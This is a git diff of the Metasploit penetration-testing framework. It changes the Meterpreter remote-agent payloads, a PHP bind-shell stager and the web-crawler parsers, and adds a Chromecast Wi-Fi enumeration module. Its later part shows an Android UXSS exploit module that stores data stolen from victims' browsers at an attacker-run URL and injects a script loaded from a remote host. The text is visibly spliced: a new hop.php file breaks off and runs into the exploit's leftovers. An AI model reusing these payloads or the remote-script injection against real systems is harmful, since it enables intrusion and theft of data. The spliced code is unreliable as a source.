define("TLV_TYPE_EVENT_READFLAGS", TLV_META_TYPE_UINT | 4003); diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index ed7e58701a..9285ad3f3a 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -252,6 +252,7 @@ TLV_META_TYPE_STRING = (1 << 16) TLV_META_TYPE_UINT = (1 << 17) TLV_META_TYPE_RAW = (1 << 18) TLV_META_TYPE_BOOL = (1 << 19) +TLV_META_TYPE_QWORD = (1 << 20) TLV_META_TYPE_COMPRESSED = (1 << 29) TLV_META_TYPE_GROUP = (1 << 30) TLV_META_TYPE_COMPLEX = (1 << 31) @@ -284,10 +285,10 @@ TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54 ## # General ## -TLV_TYPE_HANDLE = TLV_META_TYPE_UINT | 600 +TLV_TYPE_HANDLE = TLV_META_TYPE_QWORD | 600 TLV_TYPE_INHERIT = TLV_META_TYPE_BOOL | 601 -TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_UINT | 630 -TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_UINT | 631 +TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_QWORD | 630 +TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_QWORD | 631 ## # Fs @@ -346,7 +347,7 @@ TLV_TYPE_SHUTDOWN_HOW = TLV_META_TYPE_UINT | 1530 ## # Registry ## -TLV_TYPE_HKEY = TLV_META_TYPE_UINT | 1000 +TLV_TYPE_HKEY = TLV_META_TYPE_QWORD | 1000 TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY TLV_TYPE_BASE_KEY = TLV_META_TYPE_STRING | 1001 TLV_TYPE_PERMISSION = TLV_META_TYPE_UINT | 1002 @@ -376,12 +377,12 @@ DELETE_KEY_FLAG_RECURSIVE = (1 << 0) ## # Process ## -TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_UINT | 2000 +TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_QWORD | 2000 TLV_TYPE_ALLOCATION_TYPE = TLV_META_TYPE_UINT | 2001 TLV_TYPE_PROTECTION = TLV_META_TYPE_UINT | 2002 TLV_TYPE_PROCESS_PERMS = TLV_META_TYPE_UINT | 2003 TLV_TYPE_PROCESS_MEMORY = TLV_META_TYPE_RAW | 2004 -TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_UINT | 2005 +TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_QWORD | 2005 TLV_TYPE_MEMORY_STATE = TLV_META_TYPE_UINT | 2006 TLV_TYPE_MEMORY_TYPE = TLV_META_TYPE_UINT | 2007 TLV_TYPE_ALLOC_PROTECTION = TLV_META_TYPE_UINT | 2008 @@ -397,16 +398,16 @@ TLV_TYPE_PARENT_PID = TLV_META_TYPE_UINT | 2307 TLV_TYPE_IMAGE_FILE = TLV_META_TYPE_STRING | 2400 TLV_TYPE_IMAGE_FILE_PATH = TLV_META_TYPE_STRING | 2401 TLV_TYPE_PROCEDURE_NAME = TLV_META_TYPE_STRING | 2402 -TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_UINT | 2403 -TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_UINT | 2404 +TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_QWORD | 2403 +TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_QWORD | 2404 TLV_TYPE_IMAGE_GROUP = TLV_META_TYPE_GROUP | 2405 TLV_TYPE_IMAGE_NAME = TLV_META_TYPE_STRING | 2406 TLV_TYPE_THREAD_ID = TLV_META_TYPE_UINT | 2500 TLV_TYPE_THREAD_PERMS = TLV_META_TYPE_UINT | 2502 TLV_TYPE_EXIT_CODE = TLV_META_TYPE_UINT | 2510 -TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_UINT | 2511 -TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_UINT | 2512 +TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_QWORD | 2511 +TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_QWORD | 2512 TLV_TYPE_CREATION_FLAGS = TLV_META_TYPE_UINT | 2513 TLV_TYPE_REGISTER_NAME = TLV_META_TYPE_STRING | 2540 @@ -425,7 +426,7 @@ TLV_TYPE_DESKTOP = TLV_META_TYPE_STRING | 3002 # Event Log ## TLV_TYPE_EVENT_SOURCENAME = TLV_META_TYPE_STRING | 4000 -TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_UINT | 4001 +TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_QWORD | 4001 TLV_TYPE_EVENT_NUMRECORDS = TLV_META_TYPE_UINT | 4002 TLV_TYPE_EVENT_READFLAGS = TLV_META_TYPE_UINT | 4003 @@ -471,10 +472,14 @@ ERROR_FAILURE = 1 ERROR_CONNECTION_ERROR = 10000 # Windows Constants -GAA_FLAG_SKIP_ANYCAST = 0x0002 -GAA_FLAG_SKIP_MULTICAST = 0x0004 -GAA_FLAG_INCLUDE_PREFIX = 0x0010 -GAA_FLAG_SKIP_DNS_SERVER = 0x0080 +GAA_FLAG_SKIP_ANYCAST = 0x0002 +GAA_FLAG_SKIP_MULTICAST = 0x0004 +GAA_FLAG_INCLUDE_PREFIX = 0x0010 +GAA_FLAG_SKIP_DNS_SERVER = 0x0080 +PROCESS_TERMINATE = 0x0001 +PROCESS_VM_READ = 0x0010 +PROCESS_QUERY_INFORMATION = 0x0400 +PROCESS_QUERY_LIMITED_INFORMATION = 0x1000 WIN_AF_INET = 2 WIN_AF_INET6 = 23 @@ -665,12 +670,11 @@ def stdapi_sys_config_sysinfo(request, response): @meterpreter.register_function def stdapi_sys_process_close(request, response): - proc_h_id = packet_get_tlv(request, TLV_TYPE_PROCESS_HANDLE) + proc_h_id = packet_get_tlv(request, TLV_TYPE_HANDLE) if not proc_h_id: return ERROR_SUCCESS, response proc_h_id = proc_h_id['value'] - proc_h = meterpreter.channels[proc_h_id] - proc_h.kill() + del meterpreter.processes[proc_h_id] return ERROR_SUCCESS, response @meterpreter.register_function @@ -719,6 +723,23 @@ def stdapi_sys_process_getpid(request, response): response += tlv_pack(TLV_TYPE_PID, os.getpid()) return ERROR_SUCCESS, response +@meterpreter.register_function +def stdapi_sys_process_kill(request, response): + for pid in packet_enum_tlvs(request, TLV_TYPE_PID): + pid = pid['value'] + if has_windll: + k32 = ctypes.windll.kernel32 + proc_h = k32.OpenProcess(PROCESS_TERMINATE, False, pid) + if not proc_h: + return ERROR_FAILURE, response + if not k32.TerminateProcess(proc_h, 0): + return ERROR_FAILURE, response + elif hasattr(os, 'kill'): + os.kill(pid, 9) + else: + return ERROR_FAILURE, response + return ERROR_SUCCESS, response + def stdapi_sys_process_get_processes_via_proc(request, response): for pid in os.listdir('/proc'): pgroup = bytes() @@ -771,9 +792,6 @@ def stdapi_sys_process_get_processes_via_ps(request, response): def stdapi_sys_process_get_processes_via_windll(request, response): TH32CS_SNAPPROCESS = 2 - PROCESS_QUERY_INFORMATION = 0x0400 - PROCESS_QUERY_LIMITED_INFORMATION = 0x1000 - PROCESS_VM_READ = 0x10 TOKEN_QUERY = 0x0008 TokenUser = 1 k32 = ctypes.windll.kernel32 diff --git a/data/meterpreter/ext_server_stdapi.x64.dll b/data/meterpreter/ext_server_stdapi.x64.dll deleted file mode 100755 index c4a2aec8f3..0000000000 Binary files a/data/meterpreter/ext_server_stdapi.x64.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_stdapi.x86.dll b/data/meterpreter/ext_server_stdapi.x86.dll deleted file mode 100755 index 25fba086ee..0000000000 Binary files a/data/meterpreter/ext_server_stdapi.x86.dll and /dev/null differ diff --git a/data/meterpreter/meterpreter.php b/data/meterpreter/meterpreter.php index c33885d901..cd4580a58f 100755 --- a/data/meterpreter/meterpreter.php +++ b/data/meterpreter/meterpreter.php @@ -125,6 +125,7 @@ define("TLV_META_TYPE_STRING", (1 << 16)); define("TLV_META_TYPE_UINT", (1 << 17)); define("TLV_META_TYPE_RAW", (1 << 18)); define("TLV_META_TYPE_BOOL", (1 << 19)); +define("TLV_META_TYPE_QWORD", (1 << 20)); define("TLV_META_TYPE_COMPRESSED", (1 << 29)); define("TLV_META_TYPE_GROUP", (1 << 30)); define("TLV_META_TYPE_COMPLEX", (1 << 31)); @@ -655,6 +656,11 @@ function tlv_pack($tlv) { if (($tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) { $ret = pack("NNa*", 8 + strlen($tlv['value'])+1, $tlv['type'], $tlv['value'] . "\0"); } + elseif (($tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD) { + $hi = ($tlv['value'] >> 32) & 0xFFFFFFFF; + $lo = $tlv['value'] & 0xFFFFFFFF; + $ret = pack("NNNN", 8 + 8, $tlv['type'], $hi, $lo); + } elseif (($tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) { $ret = pack("NNN", 8 + 4, $tlv['type'], $tlv['value']); } @@ -686,10 +692,17 @@ function tlv_unpack($raw_tlv) { my_print("len: {$tlv['len']}, type: {$tlv['type']}"); if (($type & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) { $tlv = unpack("Nlen/Ntype/a*value", substr($raw_tlv, 0, $tlv['len'])); + # PHP 5.5.0 modifed the 'a' unpack format to stop removing the trailing + # NULL, so catch that here + $tlv['value'] = str_replace("\0", "", $tlv['value']); } elseif (($type & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) { $tlv = unpack("Nlen/Ntype/Nvalue", substr($raw_tlv, 0, $tlv['len'])); } + elseif (($type & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD) { + $tlv = unpack("Nlen/Ntype/Nhi/Nlo", substr($raw_tlv, 0, $tlv['len'])); + $tlv['value'] = $tlv['hi'] << 32 | $tlv['lo']; + } elseif (($type & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) { $tlv = unpack("Nlen/Ntype/cvalue", substr($raw_tlv, 0, $tlv['len'])); } @@ -911,7 +924,8 @@ function read($resource, $len=null) { $r = Array($resource); my_print("Calling select to see if there's data on $resource"); while (true) { - $cnt = stream_select($r, $w=NULL, $e=NULL, 0); + $w=NULL;$e=NULL;$t=0; + $cnt = stream_select($r, $w, $e, $t); # Stream is not ready to read, have to live with what we've gotten # so far @@ -1147,7 +1161,8 @@ add_reader($msgsock); # Main dispatch loop # $r=$GLOBALS['readers']; -while (false !== ($cnt = select($r, $w=null, $e=null, 1))) { +$w=NULL;$e=NULL;$t=1; +while (false !== ($cnt = select($r, $w, $e, $t))) { #my_print(sprintf("Returned from select with %s readers", count($r))); $read_failed = false; for ($i = 0; $i < $cnt; $i++) { diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index 7ed0222f35..50fbaec1a9 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -54,6 +54,7 @@ TLV_META_TYPE_STRING = (1 << 16) TLV_META_TYPE_UINT = (1 << 17) TLV_META_TYPE_RAW = (1 << 18) TLV_META_TYPE_BOOL = (1 << 19) +TLV_META_TYPE_QWORD = (1 << 20) TLV_META_TYPE_COMPRESSED = (1 << 29) TLV_META_TYPE_GROUP = (1 << 30) TLV_META_TYPE_COMPLEX = (1 << 31) @@ -150,6 +151,8 @@ def packet_enum_tlvs(pkt, tlv_type = None): val = str(val.split(NULL_BYTE, 1)[0]) elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: val = struct.unpack('>I', val)[0] + elif (tlv[1] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD: + val = struct.unpack('>Q', val)[0] elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: val = bool(struct.unpack('b', val)[0]) elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: @@ -175,6 +178,8 @@ def tlv_pack(*args): data = "" if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: data = struct.pack('>III', 12, tlv['type'], tlv['value']) + elif (tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD: + data = struct.pack('>IIQ', 16, tlv['type'], tlv['value']) elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8') else: @@ -327,7 +332,6 @@ class PythonMeterpreter(object): response = self.create_response(request) self.socket.send(response) else: - channels_for_removal = [] # iterate over the keys because self.channels could be modified if one is closed channel_ids = list(self.channels.keys()) for channel_id in channel_ids: diff --git a/data/meterpreter/metsrv.x64.dll b/data/meterpreter/metsrv.x64.dll deleted file mode 100755 index 4856014f71..0000000000 Binary files a/data/meterpreter/metsrv.x64.dll and /dev/null differ diff --git a/data/meterpreter/metsrv.x86.dll b/data/meterpreter/metsrv.x86.dll deleted file mode 100755 index 63d44bf6cd..0000000000 Binary files a/data/meterpreter/metsrv.x86.dll and /dev/null differ diff --git a/data/meterpreter/msflinker_linux_x86.bin b/data/meterpreter/msflinker_linux_x86.bin index 2f6cffe02f..b9e54612a9 100644 Binary files a/data/meterpreter/msflinker_linux_x86.bin and b/data/meterpreter/msflinker_linux_x86.bin differ diff --git a/data/meterpreter/screenshot.x64.dll b/data/meterpreter/screenshot.x64.dll deleted file mode 100755 index 861df56a58..0000000000 Binary files a/data/meterpreter/screenshot.x64.dll and /dev/null differ diff --git a/data/meterpreter/screenshot.x86.dll b/data/meterpreter/screenshot.x86.dll deleted file mode 100755 index 597c07099e..0000000000 Binary files a/data/meterpreter/screenshot.x86.dll and /dev/null differ diff --git a/data/msfcrawler/basic.rb b/data/msfcrawler/basic.rb index 467cf6807b..759e0459c6 100755 --- a/data/msfcrawler/basic.rb +++ b/data/msfcrawler/basic.rb @@ -13,7 +13,7 @@ require 'rubygems' require 'pathname' -require 'hpricot' +require 'nokogiri' require 'uri' class CrawlerSimple < BaseParser @@ -24,23 +24,20 @@ class CrawlerSimple < BaseParser return end - doc = Hpricot(result.body.to_s) - doc.search('a').each do |link| - - hr = link.attributes['href'] - - if hr and !hr.match(/^(\#|javascript\:)/) - begin - hreq = urltohash('GET',hr,request['uri'],nil) - - insertnewpath(hreq) - - rescue URI::InvalidURIError - #puts "Parse error" - #puts "Error: #{link[0]}" + # doc = Hpricot(result.body.to_s) + doc = Nokogiri::HTML(result.body.to_s) + doc.css('a').each do |anchor_tag| + hr = anchor_tag['href'] + if hr && !hr.match(/^(\#|javascript\:)/) + begin + hreq = urltohash('GET', hr, request['uri'], nil) + insertnewpath(hreq) + rescue URI::InvalidURIError + #puts "Parse error" + #puts "Error: #{link[0]}" + end end end - end end end diff --git a/data/msfcrawler/forms.rb b/data/msfcrawler/forms.rb index e5cd23b556..b0c48e1472 100755 --- a/data/msfcrawler/forms.rb +++ b/data/msfcrawler/forms.rb @@ -13,7 +13,7 @@ require 'rubygems' require 'pathname' -require 'hpricot' +require 'nokogiri' require 'uri' class CrawlerForms < BaseParser @@ -27,49 +27,30 @@ class CrawlerForms < BaseParser hr = '' m = '' - doc = Hpricot(result.body.to_s) - doc.search('form').each do |f| - hr = f.attributes['action'] + doc = Nokogiri::HTML(result.body.to_s) + doc.css('form').each do |f| + hr = f['action'] - fname = f.attributes['name'] - if fname.empty? - fname = "NONE" - end + fname = f['name'] + fname = "NONE" if fname.empty? - m = "GET" - if !f.attributes['method'].empty? - m = f.attributes['method'].upcase - end + m = f['method'].empty? ? 'GET' : f['method'].upcase - #puts "Parsing form name: #{fname} (#{m})" - - htmlform = Hpricot(f.inner_html) + htmlform = Nokogiri::HTML(f.inner_html) arrdata = [] - htmlform.search('input').each do |p| - #puts p.attributes['name'] - #puts p.attributes['type'] - #puts p.attributes['value'] - - #raw_request has uri_encoding disabled as it encodes '='. - arrdata << (p.attributes['name'] + "=" + Rex::Text.uri_encode(p.attributes['value'])) + htmlform.css('input').each do |p| + arrdata << "#{p['name']}=#{Rex::Text.uri_encode(p['value'])}" end data = arrdata.join("&").to_s - begin - hreq = urltohash(m,hr,request['uri'],data) - + hreq = urltohash(m, hr, request['uri'], data) hreq['ctype'] = 'application/x-www-form-urlencoded' - insertnewpath(hreq) - - rescue URI::InvalidURIError - #puts "Parse error" - #puts "Error: #{link[0]}" end end end diff --git a/data/msfcrawler/frames.rb b/data/msfcrawler/frames.rb index c6d2cbe03a..5edfaec16f 100755 --- a/data/msfcrawler/frames.rb +++ b/data/msfcrawler/frames.rb @@ -9,33 +9,29 @@ require 'rubygems' require 'pathname' -require 'hpricot' +require 'nokogiri' require 'uri' class CrawlerFrames < BaseParser def parse(request,result) - if !result['Content-Type'].include? "text/html" - return - end + return unless result['Content-Type'].include?('text/html') - doc = Hpricot(result.body.to_s) - doc.search('iframe').each do |ifra| + doc = Nokogiri::HTML(result.body.to_s) + doc.css('iframe').each do |ifra| + ir = ifra['src'] - ir = ifra.attributes['src'] - - if ir and !ir.match(/^(\#|javascript\:)/) - begin - hreq = urltohash('GET',ir,request['uri'],nil) - - insertnewpath(hreq) - - rescue URI::InvalidURIError - #puts "Error" + if ir && !ir.match(/^(\#|javascript\:)/) + begin + hreq = urltohash('GET', ir, request['uri'], nil) + insertnewpath(hreq) + rescue URI::InvalidURIError + end end - end + end end + end diff --git a/data/msfcrawler/image.rb b/data/msfcrawler/image.rb index 0cc2aefb39..5e5d643637 100755 --- a/data/msfcrawler/image.rb +++ b/data/msfcrawler/image.rb @@ -10,33 +10,26 @@ require 'rubygems' require 'pathname' -require 'hpricot' +require 'nokogiri' require 'uri' class CrawlerImage < BaseParser def parse(request,result) - if !result['Content-Type'].include? "text/html" - return - end + return unless result['Content-Type'].include?('text/html') - doc = Hpricot(result.body.to_s) - doc.search('img').each do |i| - - im = i.attributes['src'] - - if im and !im.match(/^(\#|javascript\:)/) - begin - hreq = urltohash('GET',im,request['uri'],nil) - - insertnewpath(hreq) - - rescue URI::InvalidURIError - #puts "Parse error" - #puts "Error: #{i[0]}" + doc = Nokogiri::HTML(result.body.to_s) + doc.css('img').each do |i| + im = i['src'] + if im && !im.match(/^(\#|javascript\:)/) + begin + hreq = urltohash('GET', im, request['uri'], nil) + insertnewpath(hreq) + rescue URI::InvalidURIError + end end - end + end end end diff --git a/data/msfcrawler/link.rb b/data/msfcrawler/link.rb index 543fdad2c3..9cb7794ef0 100755 --- a/data/msfcrawler/link.rb +++ b/data/msfcrawler/link.rb @@ -10,33 +10,25 @@ require 'rubygems' require 'pathname' -require 'hpricot' +require 'nokogiri' require 'uri' class CrawlerLink < BaseParser def parse(request,result) + return unless result['Content-Type'].include?('text/html') - if !result['Content-Type'].include? "text/html" - return - end - - doc = Hpricot(result.body.to_s) - doc.search('link').each do |link| - - hr = link.attributes['href'] - - if hr and !hr.match(/^(\#|javascript\:)/) - begin - hreq = urltohash('GET',hr,request['uri'],nil) - - insertnewpath(hreq) - - rescue URI::InvalidURIError - #puts "Parse error" - #puts "Error: #{link[0]}" + doc = Nokogiri::HTML(result.body.to_s) + doc.css('link').each do |link| + hr = link['href'] + if hr && !hr.match(/^(\#|javascript\:)/) + begin + hreq = urltohash('GET', hr, request['uri'], nil) + insertnewpath(hreq) + rescue URI::InvalidURIError + end end - end + end end end diff --git a/data/msfcrawler/objects.rb b/data/msfcrawler/objects.rb index 68a53e2382..fe69846cb1 100755 --- a/data/msfcrawler/objects.rb +++ b/data/msfcrawler/objects.rb @@ -13,36 +13,25 @@ require 'rubygems' require 'pathname' -require 'hpricot' +require 'nokogiri' require 'uri' class CrawlerObjects < BaseParser def parse(request,result) - - if !result['Content-Type'].include? "text/html" - return - end - + return unless result['Content-Type'].include?('text/html') # TOOD: use MIXIN hr = '' m = '' - - doc = Hpricot(result.body.to_s) - doc.search("//object/embed").each do |obj| - + doc = Nokogiri::HTML(result.body.to_s) + doc.xpath("//object/embed").each do |obj| s = obj['src'] - begin - hreq = urltohash('GET',s,request['uri'],nil) - + hreq = urltohash('GET', s, request['uri'], nil) insertnewpath(hreq) - - rescue URI::InvalidURIError - #puts "Parse error" - #puts "Error: #{link[0]}" end end end + end diff --git a/data/msfcrawler/scripts.rb b/data/msfcrawler/scripts.rb index 3789842344..a28a0a0470 100755 --- a/data/msfcrawler/scripts.rb +++ b/data/msfcrawler/scripts.rb @@ -13,36 +13,27 @@ require 'rubygems' require 'pathname' -require 'hpricot' +require 'nokogiri' require 'uri' class CrawlerScripts < BaseParser def parse(request,result) - - if !result['Content-Type'].include? "text/html" - return - end + return unless result['Content-Type'].include? "text/html" hr = '' m = '' - - doc = Hpricot(result.body.to_s) - doc.search("//script").each do |obj| - + doc = Nokogiri::HTML(result.body.to_s) + doc.xpath("//script").each do |obj| s = obj['src'] - begin - hreq = urltohash('GET',s,request['uri'],nil) - + hreq = urltohash('GET', s, request['uri'], nil) insertnewpath(hreq) - - rescue URI::InvalidURIError - #puts "Parse error" - #puts "Error: #{link[0]}" end end + end + end diff --git a/data/php/bind_tcp.php b/data/php/bind_tcp.php index a92dfb864e..a987fd4b31 100755 --- a/data/php/bind_tcp.php +++ b/data/php/bind_tcp.php @@ -9,24 +9,27 @@ if (is_callable('stream_socket_server')) { $srvsock = stream_socket_server("tcp://{$ipaddr}:{$port}"); if (!$srvsock) { die(); } $s = stream_socket_accept($srvsock, -1); + fclose($srvsock); $s_type = 'stream'; } elseif (is_callable('socket_create_listen')) { $srvsock = socket_create_listen(AF_INET, SOCK_STREAM, SOL_TCP); if (!$res) { die(); } $s = socket_accept($srvsock); + socket_close($srvsock); $s_type = 'socket'; } elseif (is_callable('socket_create')) { $srvsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); $res = socket_bind($srvsock, $ipaddr, $port); if (!$res) { die(); } $s = socket_accept($srvsock); + socket_close($srvsock); $s_type = 'socket'; } else { die(); } if (!$s) { die(); } -switch ($s_type) { +switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } @@ -40,7 +43,7 @@ $len = $a['len']; $b = ''; while (strlen($b) < $len) { - switch ($s_type) { + switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } diff --git a/data/php/hop.php b/data/php/hop.php new file mode 100644 index 0000000000..c9f323657a --- /dev/null +++ b/data/php/hop.php @@ -0,0 +1,68 @@ + - + + + + EOS + + print_status("Sending initial HTML ...") + send_response_html(cli, html) + end + end + + def collect_data(request) + response = JSON.parse(request.body) + url = response['url'] + if response && url + file = store_loot("android.client", "text/plain", cli.peerhost, request.body, "aosp_uxss_#{url}", "Data pilfered from uxss") + print_good "Collected data from URL: #{url}" + print_good "Saved to: #{file}" + end + end + + def backend_url + proto = (datastore["SSL"] ? "https" : "http") + myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}" + "#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}/catch" + end + + def custom_js + rjs_hook + datastore['CUSTOM_JS'] + end + + def rjs_hook + remote_js = datastore['REMOTE_JS'] + if remote_js.present? + "var s = document.createElement('script');s.setAttribute('src', '#{remote_js}');document.body.appendChild(s); " + else + '' + end + end + + def run + exploit + end + +end diff --git a/modules/auxiliary/gather/apache_rave_creds.rb b/modules/auxiliary/gather/apache_rave_creds.rb index 1b654779fc..a5111b9875 100644 --- a/modules/auxiliary/gather/apache_rave_creds.rb +++ b/modules/auxiliary/gather/apache_rave_creds.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb index 5c9ade2e21..8d3fd98ae9 100644 --- a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb +++ b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/checkpoint_hostname.rb b/modules/auxiliary/gather/checkpoint_hostname.rb index 24fbdbea37..b185233021 100644 --- a/modules/auxiliary/gather/checkpoint_hostname.rb +++ b/modules/auxiliary/gather/checkpoint_hostname.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/chromecast_wifi.rb b/modules/auxiliary/gather/chromecast_wifi.rb new file mode 100644 index 0000000000..5b0c218f6d --- /dev/null +++ b/modules/auxiliary/gather/chromecast_wifi.rb @@ -0,0 +1,131 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Chromecast Wifi Enumeration', + 'Description' => %q{ + This module enumerates wireless access points through Chromecast. + }, + 'Author' => ['wvu'], + 'References' => [ + ['URL', 'http://www.google.com/intl/en/chrome/devices/chromecast/index.html'] # vendor website + ], + 'License' => MSF_LICENSE + )) + + register_options([ + Opt::RPORT(8008) + ], self.class) + end + + def run + res = scan + + return unless res && res.code == 200 + + waps = Rex::Ui::Text::Table.new( + 'Header' => 'Wireless Access Points', + 'Columns' => [ + 'BSSID', + 'PWR', + 'ENC', + 'CIPHER', + 'AUTH', + 'ESSID' + ], + 'SortIndex' => -1 + ) + + JSON.parse(res.body).each do |wap| + waps << [ + wap['bssid'], + wap['signal_level'], + enc(wap), + cipher(wap), + auth(wap), + wap['ssid'] + (wap['wpa_id'] ? ' (*)' : '') + ] + end + + print_line(waps.to_s) + + report_note( + :host => rhost, + :port => rport, + :proto => 'tcp', + :type => 'chromecast.wifi', + :data => waps.to_csv + ) + end + + def scan + begin + send_request_raw( + 'method' => 'POST', + 'uri' => '/setup/scan_wifi', + 'agent' => Rex::Text.rand_text_english(rand(42) + 1) + ) + send_request_raw( + 'method' => 'GET', + 'uri' => '/setup/scan_results', + 'agent' => Rex::Text.rand_text_english(rand(42) + 1) + ) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable => e + fail_with(Failure::Unreachable, e) + ensure + disconnect + end + end + + def enc(wap) + case wap['wpa_auth'] + when 1 + 'OPN' + when 2 + 'WEP' + when 5 + 'WPA' + when 0, 7 + 'WPA2' + else + wap['wpa_auth'] + end + end + + def cipher(wap) + case wap['wpa_cipher'] + when 1 + '' + when 2 + 'WEP' + when 3 + 'TKIP' + when 4 + 'CCMP' + else + wap['wpa_cipher'] + end + end + + def auth(wap) + case wap['wpa_auth'] + when 0 + 'MGT' + when 5, 7 + 'PSK' + else + '' + end + end + +end diff --git a/modules/auxiliary/gather/citrix_published_applications.rb b/modules/auxiliary/gather/citrix_published_applications.rb index b71e3eacc3..ade049c58b 100644 --- a/modules/auxiliary/gather/citrix_published_applications.rb +++ b/modules/auxiliary/gather/citrix_published_applications.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/citrix_published_bruteforce.rb b/modules/auxiliary/gather/citrix_published_bruteforce.rb index 8953abfb52..05aa9509f3 100644 --- a/modules/auxiliary/gather/citrix_published_bruteforce.rb +++ b/modules/auxiliary/gather/citrix_published_bruteforce.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/coldfusion_pwd_props.rb b/modules/auxiliary/gather/coldfusion_pwd_props.rb index f08e3f9ed9..fd0af131bb 100644 --- a/modules/auxiliary/gather/coldfusion_pwd_props.rb +++ b/modules/auxiliary/gather/coldfusion_pwd_props.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/corpwatch_lookup_id.rb b/modules/auxiliary/gather/corpwatch_lookup_id.rb index 6d8477af9f..e6ca939df3 100644 --- a/modules/auxiliary/gather/corpwatch_lookup_id.rb +++ b/modules/auxiliary/gather/corpwatch_lookup_id.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/corpwatch_lookup_name.rb b/modules/auxiliary/gather/corpwatch_lookup_name.rb index 0b652988ba..cf83fbecc9 100644 --- a/modules/auxiliary/gather/corpwatch_lookup_name.rb +++ b/modules/auxiliary/gather/corpwatch_lookup_name.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/d20pass.rb b/modules/auxiliary/gather/d20pass.rb index af89d50b9f..8e54bf1241 100644 --- a/modules/auxiliary/gather/d20pass.rb +++ b/modules/auxiliary/gather/d20pass.rb @@ -1,5 +1,5 @@ ## -# This module requires 